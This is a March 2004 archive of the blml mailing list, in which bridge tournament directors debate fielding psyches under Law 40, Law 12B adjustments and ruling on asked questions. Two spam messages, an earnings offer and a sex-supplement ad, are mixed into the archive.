<1GXC9qg2ddYAFwM8@blakjak.demon.co.uk> References: <200403241718.JAA12210@mailhub.irvine.com> <4061C6F5.7050608@hdw.be> <1GXC9qg2ddYAFwM8@blakjak.demon.co.uk> Message-ID: <40629293.5070602@hdw.be> David Stevenson wrote: > Herman De Wael wrote > > >> The british regard "fielding" a psyche to be an infraction. I fail to >> see why this should be such in the whole world. As long as a- is >> revealed to the opponents, drawing the conclusion from a- and b- that >> partner has psyched is at the player's own risk. > > > If you do not follow L40 then you have committed an infraction. > read again, I wrote: "as long as a- is revealed". We can discuss whether it has been in this case, but not in general. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From karel@esatclear.ie Thu Mar 25 08:04:51 2004 From: karel@esatclear.ie (Karel) Date: Thu, 25 Mar 2004 08:04:51 -0000 Subject: [blml] A question and a ruling In-Reply-To: <008501c411a5$e1d51250$50ebf1c3@LNV> Message-ID: I can understand the thinking below and getting to 5D is indeed possible. Only problem is 5D can only be beaten on a club lead. So do we assume defenders will find a club lead and rule 5D-1 or do we give a split score ?? Going back to 5D's - are we happy that this is the likely reult or should we say 20% 5D, 30% 6NT doubled, etc ?? Finally - "severe penalty" - translate that into some action. K. It is not a normal case of UI, a player continuing bidding when only half of the field wil do so. We don't consider that as unethical. This one is an example of terrible behaviour by East. There should be a severe penalty. The more so because EW probably are allowed to escape concerning the adjusted score. East will show his zero KC by bidding 5C and West will start to understand that something went wrong. He has one ace too many himself, so for an examination I would remove the heart ace and give him club K. The answer then would be that EW get an adjusted score based on playing 7NT X minus a lot. In this case West will bid 5D and I allow East to pass. So 5D is the basis for the AS. ton > I think there is no question of UI - I was wondering at how you would adjust > ?? 12C3 solution and if so what or other ?? > > K. > > > >> Bidding > > >> > > >> 2C(1) P 2NT P > > >> 3H(2) P 4NT P > > >> P(3) > > >> > > >> (1) normal big atifical 2C hand or weak diamonds > > >> (2) Ogust reply weak points good suit. Alerted as a big hand natural > > >> (3) Passes the RKC ask (they are playing 3041) > > >> > > >> 4NT makes - opps protest that there is UI which opener acted upon. > Your > > >call. > > > > > > S AT9x S Q > > H AQ H xx > > D AKxx D QJ9xxx > > C T9x C Qxxx > > > > S Kxxxx > > H Kxxx > > D xx > > C xx From svenpran@online.no Thu Mar 25 08:52:10 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 25 Mar 2004 09:52:10 +0100 Subject: [blml] Adjustment after revoke In-Reply-To: Message-ID: <000001c41246$7610a6f0$6900a8c0@WINXP> > David Stevenson > Sven Pran wrote >=20 > >Literally Law 12B law forbids the Director from=20 > >assigning an adjusted score on the ground that=20 > >the penalty provided in the laws is unduly > >advantageous to the offending side or is unduly=20 > >severe to the non-offending side! >=20 > What is wrong with that? >=20 > If a revoke penalty is two tricks and the TD thinks two tricks is > unfair on the poor offenders [a growing view for which my distaste is > palpable - ok, I dunno what that means, but RJH keeps saying things = like > that] L12B forbids him from saying "Ave+/Ave- because it is fairer". A+/A- are in any case illegal when a result has been (or can be) = obtained on the board isn't it? But I don't think you read my text carefully enough. What Law 12B says = is (amongst else) that the Director may not award an adjusted score on the ground that the two tricks revoke penalty is unduly advantageous to the offender! (Forget for a moment Law 64C, this is not primarily about = revokes which has its special equity law, this is generally about irregularities = if it should happen that a penalty is prescribed but gives only partial compensation to the non offending side). Am I wrong in believing that the intention of Law 12B would be correctly expressed by the following text? The Director may not award an adjusted score on the ground that the = penalty provided in these laws is unduly severe to the offending side or unduly advantageous to the non-offending side. This is not what L12B says today! Regards Sven=20 From blml@blakjak.com Thu Mar 25 11:32:55 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 11:32:55 +0000 Subject: SV: [blml] Psyches In-Reply-To: <40629293.5070602@hdw.be> References: <200403241718.JAA12210@mailhub.irvine.com> <4061C6F5.7050608@hdw.be> <1GXC9qg2ddYAFwM8@blakjak.demon.co.uk> <40629293.5070602@hdw.be> Message-ID: Herman De Wael wrote >David Stevenson wrote: > >> Herman De Wael wrote >> >>> The british regard "fielding" a psyche to be an infraction. I fail >>>to see why this should be such in the whole world. As long as a- is >>>revealed to the opponents, drawing the conclusion from a- and b- that >>>partner has psyched is at the player's own risk. >> If you do not follow L40 then you have committed an infraction. >> > >read again, I wrote: "as long as a- is revealed". >We can discuss whether it has been in this case, but not in general. If the psyche is revealed then it cannot be fielded. I really do not understand the problem that you seem to have. If you allow for a psyche illegally then you have fielded it. Yes, the British consider doing things illegally to be infractions. So, I suspect, does every other jurisdiction. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 11:38:57 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 11:38:57 +0000 Subject: [blml] Adjustment after revoke In-Reply-To: <000001c41246$7610a6f0$6900a8c0@WINXP> References: <000001c41246$7610a6f0$6900a8c0@WINXP> Message-ID: <8EOgt0sRTsYAFwdw@blakjak.demon.co.uk> Sven Pran wrote >> David Stevenson >> Sven Pran wrote >> >> >Literally Law 12B law forbids the Director from >> >assigning an adjusted score on the ground that >> >the penalty provided in the laws is unduly >> >advantageous to the offending side or is unduly >> >severe to the non-offending side! >> >> What is wrong with that? >> >> If a revoke penalty is two tricks and the TD thinks two tricks is >> unfair on the poor offenders [a growing view for which my distaste is >> palpable - ok, I dunno what that means, but RJH keeps saying things like >> that] L12B forbids him from saying "Ave+/Ave- because it is fairer". > >A+/A- are in any case illegal when a result has been (or can be) obtained on >the board isn't it? > >But I don't think you read my text carefully enough. What Law 12B says is >(amongst else) that the Director may not award an adjusted score on the >ground that the two tricks revoke penalty is unduly advantageous to the >offender! (Forget for a moment Law 64C, this is not primarily about revokes >which has its special equity law, this is generally about irregularities if >it should happen that a penalty is prescribed but gives only partial >compensation to the non offending side). > >Am I wrong in believing that the intention of Law 12B would be correctly >expressed by the following text? > >The Director may not award an adjusted score on the ground that the penalty >provided in these laws is unduly severe to the offending side or unduly >advantageous to the non-offending side. > >This is not what L12B says today! The reason it does not say it is probably because it does not mean it! L12B says that you do not adjust for offenders *because* you feel another law is unduly *advantageous* or *disadvantageous* to *them*. It also says that you do not adjust for offenders *because* you feel another law is unduly *advantageous* or *disadvantageous* to *them*. And that is what it means, surely? And why not? A growing idea amongst North Americans is that non-offenders should be treated quite severely. I believe that offenders in some ways - revoke tricks is an example - should be treated severely. Neither of us can just adjust *for this reason* just because we want to: L12B tells us to follow the Law. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 11:40:57 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 11:40:57 +0000 Subject: [blml] Lost in translation In-Reply-To: References: Message-ID: RJH wrote >From the thread "adjustment after revoke". > >Adam Beneschan: > >[snip] > >>>>I think Sven is talking about the case where the TD >>>>thinks *only* two tricks is unfair to the poor >>>>*non*-offenders, or advantageous to the *offending* >>>>side. For revokes, Sven's objection doesn't apply >>>>because L64C exists. But I think Sven is arguing >>>>that this should apply uniformly wherever there is >>>>a penalty: if a penalty doesn't compensate the non- >>>>offenders enough or isn't hard enough on the >>>>offenders, the TD should have the power to adjust, >>>>which L12B appears to prohibit currently. (There >>>>are a couple Laws which accomplish this but only >>>>when the offenders "could have known" blah blah >>>>blah: L23, L72B1.) > >David Stevenson: > >>>Ok, what is wrong with that? >>>Look, the Law says, translated into English: >>> >>>"When adjusting, do what the laws tell you to" and I >>>find that very reasonable. > >Richard James Hills: > >Care needs to be taken when translating the Laws into >simple English, since some complex nuances of the Laws >might be lost in translation. > >Law 12A1: > >>The Director may award an assigned adjusted score >>when he judges that these Laws do not provide >>indemnity to the non-offending contestant for the >>particular type of violation of law committed by an >>opponent. > >Richard James Hills: > >Some time ago, a blml lurker sent me an email >requesting a simple English translation of the >seemingly contradictory Laws 12A1 and 12B. > >My translations are -> > >Law 12A1: "If a Law does not specify a penalty for >its infraction, the TD imposes their choice of a >reasonable penalty." > >Law 12B: "If a Law does specify a particular >inequitable mechanical penalty for its infraction, >the TD imposes a Hobson's choice of an unreasonable >penalty." > >Therefore, unlike DWS, I do not believe that the >Laws are "very reasonable". > >:-( In other words, when the TD in his infinite wisdom knows what to do, and the WBFLC in its ignorance has no idea, the Law is unreasonable. Well, it's a view. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From hermandw@hdw.be Thu Mar 25 12:16:44 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 25 Mar 2004 13:16:44 +0100 Subject: SV: [blml] Psyches In-Reply-To: References: <200403241718.JAA12210@mailhub.irvine.com> <4061C6F5.7050608@hdw.be> <1GXC9qg2ddYAFwM8@blakjak.demon.co.uk> <40629293.5070602@hdw.be> Message-ID: <4062CDAC.6070900@hdw.be> David Stevenson wrote: > Herman De Wael wrote >=20 >> David Stevenson wrote: >> >>> Herman De Wael wrote >>> >>>> The british regard "fielding" a psyche to be an infraction. I fail=20 >>>> to see why this should be such in the whole world. As long as a- is= =20 >>>> revealed to the opponents, drawing the conclusion from a- and b-=20 >>>> that partner has psyched is at the player's own risk. >>> >>> If you do not follow L40 then you have committed an infraction. >>> >> >> read again, I wrote: "as long as a- is revealed". >> We can discuss whether it has been in this case, but not in general. >=20 >=20 > If the psyche is revealed then it cannot be fielded. >=20 No, sorry. I said "if a- is revealed", not if the psyche is revealed. a- was "the psyching tendency". Not the psyche. A psyche cannot be=20 revealed. A psyche is a psyche is a psyche. Fielding a psyche is for the partner to find out that partner has=20 psyched. This can happen, can't it? Revealing the psyching tendency is something totally different. It has=20 happened (by a mention on the CC or through prior knowledge of the=20 player) or not. The one can happen totally irrespective of the other. > I really do not understand the problem that you seem to have. If you= =20 > allow for a psyche illegally then you have fielded it. Yes, the Britis= h=20 > consider doing things illegally to be infractions. So, I suspect, does= =20 > every other jurisdiction. >=20 Let me try to explain the problem that I have: Read your sentence above again: The British consider doing things illegally to be infractions. Une verit=E9 al la Palisse if ever I read one. It is illegal to do=20 illegal things. Answer me one thing: Why is fielding a psyche illegal? Is psyching illegal? - certainly not. Is discovering that partner has psyched, by looking at your own cards,=20 illegal? - certainly not. Is bidding according to what you believe will be the best contract=20 illegal? - certainly not. So the action of fielding a psyche cannot be illegal as such. It can=20 be considered as evidence for some other action, and that action could=20 be illegal. I believe you use fielding as evidence for the existence=20 of PU. But PU is not illegal either. It is only illegal to have CPU. So should you not, in addition to your evidence of the psyche being=20 fielded, have a second condition for saying something is wrong: the=20 existence of some form of concealment? It is general bridge knowledge that most players psyche once in a=20 while; the description of psyching frequency and tendency can be=20 mentioned on the CC; only if partner knows more than he has told the=20 opponents there is a CPU. And then my second problem with the english stance on fileding=20 psyches. Yes, there can be CPU. But is that such a heinous crime? If my partner knows that I psyche once every three months, and he=20 forgets to tell this to the opponents, is that any more or less of a=20 terrible thing than if he forgets to alert my 3Cl Ghestem bid? I don't think so, and I believe that in both cases we should rule=20 similarly - give an adjusted score if we believe (with benefit of the=20 doubt to opponents) that some other score might be obtained if the=20 opponents had received the full information. --=20 Herman DE WAEL Antwerpen Belgium http://www.hdw.be From Robin.Barker@npl.co.uk Thu Mar 25 12:55:39 2004 From: Robin.Barker@npl.co.uk (Robin Barker) Date: Thu, 25 Mar 2004 12:55:39 -0000 Subject: [blml] Psyches Message-ID: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> -----Original Message----- From: Herman De Wael [mailto:hermandw@hdw.be] Sent: 25 March 2004 12:17 To: blml Subject: Re: SV: [blml] Psyches No, sorry. I said "if a- is revealed", not if the psyche is revealed. a- was "the psyching tendency". Not the psyche. A psyche cannot be=20 revealed. A psyche is a psyche is a psyche. Fielding a psyche is for the partner to find out that partner has=20 psyched. This can happen, can't it? Revealing the psyching tendency is something totally different. It has=20 happened (by a mention on the CC or through prior knowledge of the=20 player) or not. The one can happen totally irrespective of the other. > I really do not understand the problem that you seem to have. If you=20 > allow for a psyche illegally then you have fielded it. Yes, the British=20 > consider doing things illegally to be infractions. So, I suspect, does=20 > every other jurisdiction. >=20 Let me try to explain the problem that I have: Read your sentence above again: The British consider doing things illegally to be infractions. Une verit=E9 al la Palisse if ever I read one. It is illegal to do=20 illegal things. Answer me one thing: Why is fielding a psyche illegal? Is psyching illegal? - certainly not. Is discovering that partner has psyched, by looking at your own cards,=20 illegal? - certainly not. Is bidding according to what you believe will be the best contract=20 illegal? - certainly not. --=20 Herman There is some disagreement on language. To David and me, "fielding" a psyche means assuming that partner has psyched when it is not clear (from your cards and the auction) that he has. The EBU presume that fielding is based on a concealed=20 partnership understanding, and so is illegal. You ask: Why is fielding a psyche illegal? Answer: From the EBU definition of fielding, fielding is using illegal=20 understanding to decide that partner has psyched, so is = illegal. In an international forum, we (the English) should learn to say "illegally=20 fielding" because of people don't understand "fielding" with our meaning. Robin=20 ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or privileged material; it is for the intended addressee(s) only. If you are not a named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW. ------------------------------------------------------------------- From hermandw@hdw.be Thu Mar 25 13:25:03 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 25 Mar 2004 14:25:03 +0100 Subject: [blml] Psyches In-Reply-To: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> References: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> Message-ID: <4062DDAF.8060308@hdw.be> Robin Barker wrote: (don't write behind two "-", it dissappears when I try to answer to it) Herman There is some disagreement on language. To David and me, "fielding" a psyche means assuming that partner has psyched when it is not clear (from your cards and the auction) that he has. The EBU presume that fielding is based on a concealed partnership understanding, and so is illegal. You ask: Why is fielding a psyche illegal? Answer: From the EBU definition of fielding, fielding is using illegal understanding to decide that partner has psyched, so is illegal. In an international forum, we (the English) should learn to say "illegally fielding" because of people don't understand "fielding" with our meaning. Robin Herman: There is no problem with the language. I agree that fielding is something you do before the bidding and your cards clearly indicate the psyche. I agree that there is something more, and it is what I called the a- in my list of two things the fielder used to decide there was a psyche: a- was "the knowledge of the particular psyching tendency of partner". This is PU. Yes, I agree. But from the evidence of the fielding alone, you cannot decide that L40B has been broken. For that, you need to also establish that the opponents had not received this knowledge. Only that makes it a CPU. And then all that we have is an infraction of L40B. And L40C is there to tell us how to deal with that one. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From emu@atrax.net.au Thu Mar 25 13:24:59 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Fri, 26 Mar 2004 00:24:59 +1100 Subject: [blml] Explain In-Reply-To: Message-ID: <000f01c4126c$94170100$2c56dccb@noeltsui0kso1i> Which is ridiculous... How can a beginner who has never seen a transfer = ever progress? regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Steven Willner Sent: Thursday, March 25, 2004 2:58 AM To: blml@rtflb.org Subject: Re: [blml] Explain From: jean-pierre.rocafort@meteo.fr >i think L16 and L73F2 are accurate to deal with the consequences of =20 >asked >questions, but divergences of opinion lie on when they need to be used, = >which is not a problem of what the law should be but a problem of=20 >application on a case to case basis. This looks exactly right to me. Consider the following simple scenario: South opens 1NT, West passes, and North bids 2S, alerted by South. East = asks "Please explain," and South gives a correct explanation. South eventually = becomes=20 declarer, and it turns out that East has a flat zero-count. In North America, there is no problem. The question is expected = regardless=20 of East's hand, and neither West nor South can expect to derive any information from it. = In L73F2 terms, there is no way East "could have known" that the question might mislead. In the EBU, the situation might well be different. _________________________________________________________________ Check out MSN PC Safety & Security to help ensure your PC is protected = and=20 safe. http://specials.msn.com/msn/security.asp _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From Robin.Barker@npl.co.uk Thu Mar 25 13:32:23 2004 From: Robin.Barker@npl.co.uk (Robin Barker) Date: Thu, 25 Mar 2004 13:32:23 -0000 Subject: [blml] Explain Message-ID: <533D273D4014D411AB1D00062938C4D904046845@hotel.npl.co.uk> Ask at the end of the auction? Robin -----Original Message----- From: Noel and Pamela [mailto:emu@atrax.net.au] Sent: 25 March 2004 13:25 To: blml@rtflb.org Subject: RE: [blml] Explain Which is ridiculous... How can a beginner who has never seen a transfer ever progress? regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Steven Willner Sent: Thursday, March 25, 2004 2:58 AM To: blml@rtflb.org Subject: Re: [blml] Explain From: jean-pierre.rocafort@meteo.fr >i think L16 and L73F2 are accurate to deal with the consequences of >asked >questions, but divergences of opinion lie on when they need to be used, >which is not a problem of what the law should be but a problem of >application on a case to case basis. This looks exactly right to me. Consider the following simple scenario: South opens 1NT, West passes, and North bids 2S, alerted by South. East asks "Please explain," and South gives a correct explanation. South eventually becomes declarer, and it turns out that East has a flat zero-count. In North America, there is no problem. The question is expected regardless of East's hand, and neither West nor South can expect to derive any information from it. In L73F2 terms, there is no way East "could have known" that the question might mislead. In the EBU, the situation might well be different. _________________________________________________________________ Check out MSN PC Safety & Security to help ensure your PC is protected and safe. http://specials.msn.com/msn/security.asp _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or privileged material; it is for the intended addressee(s) only. If you are not a named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW. ------------------------------------------------------------------- From Robin.Barker@npl.co.uk Thu Mar 25 13:44:06 2004 From: Robin.Barker@npl.co.uk (Robin Barker) Date: Thu, 25 Mar 2004 13:44:06 -0000 Subject: [blml] Psyches Message-ID: <533D273D4014D411AB1D00062938C4D904046846@hotel.npl.co.uk> Herman > (don't write behind two "-", it disappears when I try to answer to it) I'll stick to top posting, I get that right, even if it annoys David. I know we disagree on the real point. I think that if your knowledge of partner's psychic tendencies is going to change which call you make then it is a partnership agreement. This agreement is subject to regulation under L40D: if it is not concealed and is permitted by regulation, then you will disclose it as appropriate (L40B); if it is not concealed but not permitted, then you will be subject to penalty for playing an illegal convention (L40D); if it is concealed, then it is subject to penalty (L40B). But you think this is nonsense. Robin -----Original Message----- From: Herman De Wael [mailto:hermandw@hdw.be] Sent: 25 March 2004 13:25 To: blml Subject: Re: [blml] Psyches Robin Barker wrote: (don't write behind two "-", it dissappears when I try to answer to it) Herman There is some disagreement on language. To David and me, "fielding" a psyche means assuming that partner has psyched when it is not clear (from your cards and the auction) that he has. The EBU presume that fielding is based on a concealed partnership understanding, and so is illegal. You ask: Why is fielding a psyche illegal? Answer: From the EBU definition of fielding, fielding is using illegal understanding to decide that partner has psyched, so is illegal. In an international forum, we (the English) should learn to say "illegally fielding" because of people don't understand "fielding" with our meaning. Robin Herman: There is no problem with the language. I agree that fielding is something you do before the bidding and your cards clearly indicate the psyche. I agree that there is something more, and it is what I called the a- in my list of two things the fielder used to decide there was a psyche: a- was "the knowledge of the particular psyching tendency of partner". This is PU. Yes, I agree. But from the evidence of the fielding alone, you cannot decide that L40B has been broken. For that, you need to also establish that the opponents had not received this knowledge. Only that makes it a CPU. And then all that we have is an infraction of L40B. And L40C is there to tell us how to deal with that one. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or privileged material; it is for the intended addressee(s) only. If you are not a named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW. ------------------------------------------------------------------- From pclass=MsoNormal Thu Mar 25 13:48:47 2004 From: pclass=MsoNormal (pclass=MsoNormal) Date: Thu, 25 Mar 2004 10:48:47 -0300 Subject: [blml] Online OFFER Message-ID:

Earn Extra $$$lwtbdl

     Earn up to $10,000/Moswgfmtr

qtsqclick herelgyxemx

 

 

 

   To take yourself out of our database please send an email to: remove@work2003.cjb.net

From blml@blakjak.com Thu Mar 25 14:33:50 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 14:33:50 +0000 Subject: [blml] Explain In-Reply-To: <000f01c4126c$94170100$2c56dccb@noeltsui0kso1i> References: <000f01c4126c$94170100$2c56dccb@noeltsui0kso1i> Message-ID: Noel and Pamela wrote >Which is ridiculous... How can a beginner who has never seen a transfer ever >progress? Pleases explain this comment. It makes no sense to me. >From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Steven >Willner >Sent: Thursday, March 25, 2004 2:58 AM >To: blml@rtflb.org >Subject: Re: [blml] Explain > > >From: jean-pierre.rocafort@meteo.fr >>i think L16 and L73F2 are accurate to deal with the consequences of >>asked >>questions, but divergences of opinion lie on when they need to be used, >>which is not a problem of what the law should be but a problem of >>application on a case to case basis. > >This looks exactly right to me. Consider the following simple scenario: >South opens 1NT, West passes, and North bids 2S, alerted by South. East >asks "Please >explain," and South gives a correct explanation. South eventually becomes >declarer, and >it turns out that East has a flat zero-count. > >In North America, there is no problem. The question is expected regardless >of East's hand, >and neither West nor South can expect to derive any information from it. In > >L73F2 terms, >there is no way East "could have known" that the question might mislead. > >In the EBU, the situation might well be different. > >_________________________________________________________________ >Check out MSN PC Safety & Security to help ensure your PC is protected and >safe. http://specials.msn.com/msn/security.asp > > >_______________________________________________ >blml mailing list >blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 14:39:56 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 14:39:56 +0000 Subject: [blml] Psyches In-Reply-To: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> References: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> Message-ID: Robin Barker wrote >-----Original Message----- >From: Herman De Wael [mailto:hermandw@hdw.be] If the software follows internationally accepted customs [and a fair amount of software used on BLML does not] then the following was written by Robin - but it sounds like Herman to me. >Let me try to explain the problem that I have: >Read your sentence above again: >The British consider doing things illegally to be infractions. >Une verité al la Palisse if ever I read one. It is illegal to do >illegal things. >Answer me one thing: >Why is fielding a psyche illegal? Because it means that you have breached L40A. When you field a psyche you have shown that the psyche was made with a partnership understanding and that is illegal. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 14:42:09 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 14:42:09 +0000 Subject: [blml] Psyches In-Reply-To: <4062DDAF.8060308@hdw.be> References: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> <4062DDAF.8060308@hdw.be> Message-ID: Herman De Wael wrote > > >Robin Barker wrote: > >(don't write behind two "-", it dissappears when I try to answer to it) > >Herman > >There is some disagreement on language. > >To David and me, "fielding" a psyche means assuming that partner has >psyched when it is not clear (from your cards and the auction) that >he has. The EBU presume that fielding is based on a concealed >partnership understanding, and so is illegal. > >You ask: Why is fielding a psyche illegal? >Answer: From the EBU definition of fielding, fielding is using illegal > understanding to decide that partner has psyched, so is illegal. > >In an international forum, we (the English) should learn to say >"illegally >fielding" because of people don't understand "fielding" with our >meaning. Discussions on RGB have shown that the English usage is the normal usage, accepted by about 80% of people. Since practically every term in bridge is misused by 20% of people I assume that this is high enough to assume this is its 'normal' meaning. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From hermandw@hdw.be Thu Mar 25 15:18:12 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 25 Mar 2004 16:18:12 +0100 Subject: [blml] Psyches In-Reply-To: <533D273D4014D411AB1D00062938C4D904046846@hotel.npl.co.uk> References: <533D273D4014D411AB1D00062938C4D904046846@hotel.npl.co.uk> Message-ID: <4062F834.5000205@hdw.be> I don't think all this is nonsense, and I hope we can have an open discussion on all this. Robin Barker wrote: > Herman > > > > I know we disagree on the real point. I think that if your knowledge of > partner's psychic tendencies is going to change which call you make then > it is a partnership agreement. On that bit we agree. I have called that fielding, and under that definition of the word, my insistence that there needs to be more than just this is (IMO) correct. You have told me that in order for this action to be called fielding in England, an extra requirement must be met - that the psyche has not yet become obvious to anyone. Under that definition, you may be right in saying that something is amiss. > This agreement is subject to regulation > under L40D: Yes, but I fail to see what this has to do with the matter. Has the EBU decided that the fielding of psyches is a convention that they can regulate? I feel that this use of L40D is even stranger than the ACBL one of banning 9HCP no-trumps. > if it is not concealed and is permitted by regulation, then > you will disclose it as appropriate (L40B); > Exactly my point. If it is disclosed - then it is no longer illegal! Yet the EBU seems to insist that all fielding is illegal. > if it is not concealed but not permitted, then you will be > subject > to penalty for playing an illegal convention (L40D); > Again, I don't see what that has to do with anything? > if it is concealed, then it is subject to penalty (L40B). > Indeed. But that penalty is described in L40C and refers to AS. Yet I seem to recall an almost immediate adjustment to 30/60. That seems to me to be incorrect. > But you think this is nonsense. > I don't think anything is nonsense, I think some things are incorrect. > Robin > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Thu Mar 25 15:25:35 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 25 Mar 2004 16:25:35 +0100 Subject: [blml] Psyches In-Reply-To: References: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> Message-ID: <4062F9EF.2030801@hdw.be> David Stevenson wrote: >=20 > If the software follows internationally accepted customs [and a fair=20 > amount of software used on BLML does not] then the following was writte= n=20 > by Robin - but it sounds like Herman to me. it is. >=20 >> Let me try to explain the problem that I have: >> Read your sentence above again: >> The British consider doing things illegally to be infractions. >> Une verit=E9 al la Palisse if ever I read one. It is illegal to do >> illegal things. >> Answer me one thing: >> Why is fielding a psyche illegal? >=20 >=20 > Because it means that you have breached L40A. When you field a psych= e=20 > you have shown that the psyche was made with a partnership understandin= g=20 > and that is illegal. >=20 I would rather you referred to L40B. L40A says what you can do, L40B=20 says what you cannot do. But you are right in one sense. The fielding of the psyche shows that=20 there is PU. But you are wrong in one other sense. Having a PU is not an=20 infraction, only a CPU is an infraction. And so you have to check=20 whether or not the psyche either: - is mentioned as a possibility on the CC; or - falls under general bridge knowledge. I realize that this second check is performed when you decide if you=20 shall call something fielding or not. You seem to be saying that if=20 the psyche becomes obvious from the bidding, catering for it is no=20 longer considered "fielding". So I shall grant you that one. But the=20 possibility of it being mentioned on the CC still exists. As does the possibility of the psycher being as well known to=20 opponents as to partner, such as seemed to be the case in the original. If all three opponents know that a particular player is apt to psyche,=20 then fielding his psyche may be considered PU, but not CPU. And this still leaves me with my second problem: if the fielding of=20 the psyche is evidence of CPU, then why not simply use L40C. Where is=20 the legality in ruling 30/60 (or whatever it is the EBU generally=20 gives for a red psyche)? --=20 Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Thu Mar 25 15:30:10 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 25 Mar 2004 16:30:10 +0100 Subject: [blml] Psyches In-Reply-To: References: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> <4062DDAF.8060308@hdw.be> Message-ID: <4062FB02.5030903@hdw.be> David Stevenson wrote: > Herman De Wael wrote > >> >> You ask: Why is fielding a psyche illegal? >> Answer: From the EBU definition of fielding, fielding is using illegal >> understanding to decide that partner has psyched, so is illegal. >> >> In an international forum, we (the English) should learn to say >> "illegally >> fielding" because of people don't understand "fielding" with our >> meaning. > > > Discussions on RGB have shown that the English usage is the normal > usage, accepted by about 80% of people. Since practically every term in > bridge is misused by 20% of people I assume that this is high enough to > assume this is its 'normal' meaning. > The normal usage should not be counted using a sample of only English Bridge players who don't realize that they are using a word with connotations it should not have. What do you call it when I realize, from the bidding and my hand, that my partner has psyched, and make a bid not normally consistent with the a priori meaning of the bidding so far? I can give you a number of occasions in which this action should not be deemed illegal, yet you seem to be using only one word, fielding, and you seem to be saying that fielding is illegal. So give me another word. Or use fielding in a more general sense and accept that not all fielding is illegal. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From duke44Incas@mail.com Thu Mar 25 20:04:47 2004 From: duke44Incas@mail.com (Bsny4jbs3.fsf) Date: Thu, 25 Mar 2004 17:04:47 -0300 Subject: [blml] Only DeerAntler+ Can Give Men Multiple 0rgasms! . . . . romance Message-ID: DeerAntler+






